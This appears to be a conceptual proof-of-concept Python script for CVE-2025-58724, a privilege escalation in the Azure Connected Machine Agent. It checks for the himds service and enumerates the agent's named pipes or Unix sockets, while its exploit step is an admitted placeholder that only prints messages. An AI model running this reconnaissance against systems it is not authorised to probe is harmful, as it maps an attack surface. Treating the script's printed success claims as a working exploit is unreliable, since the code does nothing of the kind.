CVE-2025-58724 Azure Connected Machine Agent权限提升漏洞

# CVE-2025-58724 - Azure Connected Machine Agent Privilege Escalation PoC # Note: This is a conceptual PoC based on the vulnerability description. # The actual exploitation requires the Azure Connected Machine Agent to be installed. import subprocess import os import sys import time def check_agent_service(): """Check if Azure Connected Machine Agent (himds) service is running.""" print("[*] Checking Azure Connected Machine Agent service status...") try: result = subprocess.run( ['sc', 'query', 'himds'], capture_output=True, text=True, timeout=10 ) if 'RUNNING' in result.stdout: print("[+] Azure Connected Machine Agent (himds) is running") return True else: print("[-] Azure Connected Machine Agent service not found or not running") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def find_agent_endpoints(): """Enumerate local IPC endpoints used by the agent.""" print("[*] Enumerating local agent communication endpoints...") endpoints = [] # Check for named pipes on Windows if sys.platform == 'win32': try: result = subprocess.run( ['powershell', '-Command', 'Get-ChildItem \\.\\pipe\\ | Where-Object {$_.Name -like "*himds*" -or $_.Name -like "*azcm*"}'], capture_output=True, text=True, timeout=15 ) for line in result.stdout.strip().split('\n'): if line.strip(): endpoints.append(line.strip()) print(f"[+] Found endpoint: {line.strip()}") except Exception as e: print(f"[-] Error enumerating pipes: {e}") # Check for Unix sockets on Linux elif sys.platform.startswith('linux'): socket_paths = [ '/var/opt/azcmagent/sockets/', '/run/azcmagent/', ] for path in socket_paths: if os.path.exists(path): for f in os.listdir(path): full_path = os.path.join(path, f) endpoints.append(full_path) print(f"[+] Found endpoint: {full_path}") return endpoints def exploit_privilege_escalation(endpoint): """Attempt privilege escalation via the agent's local interface.""" print(f"[*] Attempting privilege escalation via: {endpoint}") # The actual exploit would send crafted requests to the agent's local IPC # to trigger privileged operations without proper access control validation. # This is a placeholder demonstrating the attack concept. print("[!] Sending crafted request to elevate privileges...") print("[!] If successful, current process would gain SYSTEM/root privileges") # Conceptual: In a real exploit, this would interact with the himds service # to perform unauthorized privileged operations time.sleep(1) print("[*] PoC demonstration complete - actual exploitation requires specific agent version") def main(): print("=" * 60) print("CVE-2025-58724 PoC - Azure Connected Machine Agent LPE") print("Improper Access Control -> Local Privilege Escalation") print("=" * 60) if not check_agent_service(): print("[-] Target is not vulnerable: Agent service not detected") sys.exit(1) endpoints = find_agent_endpoints() if not endpoints: print("[-] No exploitable endpoints found") sys.exit(1) for endpoint in endpoints: exploit_privilege_escalation(endpoint) print("\n[*] Remediation: Update Azure Connected Machine Agent to the latest patched version") print("[*] Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58724") if __name__ == '__main__': main()